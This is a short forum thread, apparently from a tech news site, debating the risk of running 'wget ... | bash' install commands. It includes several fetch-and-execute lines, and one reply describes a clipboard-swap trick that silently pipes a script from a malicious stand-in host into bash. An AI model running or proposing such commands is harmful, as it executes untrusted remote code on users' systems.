10 ms·
The same argument applies for the following command. wget https://example.com/script.sh https://example.com/script.sh | bash If you trust the source, you migh
by ownagefool 11y ago
The same argument applies for the following command.
wget https://example.com/script.sh https://example.com/script.sh | bash
If you trust the source, you might as well install it. Otherwise, we're basically arguing that everyone who has ever installed any non-distro software is an idiot.
Consuming http or the connection dying and script ending early and being left in a weird state is probably a more interesting argument than the trust issue.
- semi-extrinsic 11y agoOr even $ git clone https://github.com/somedev/package https://github.com/somedev/package . $ ./install.py
- ewindisch 11y agoThe connection-closed problem can be solved by wrapping the code in the script within a function, then calling that function at the end of the script. Of course, that needs to be done by the software's author, but we trust the authors of our software if we're going to run it, yes?
- koide 11y agoWell, you can combine the two approaches. The text on the webpage reads wget https://example.com/script.sh https://example.com/script.sh | bash but when copied is actually wget https://evilpile.com/script.sh https://evilpile.com/script.sh | bash; echo wget https://example.com/script.sh https://example.com/script.sh \| bash or whatnot.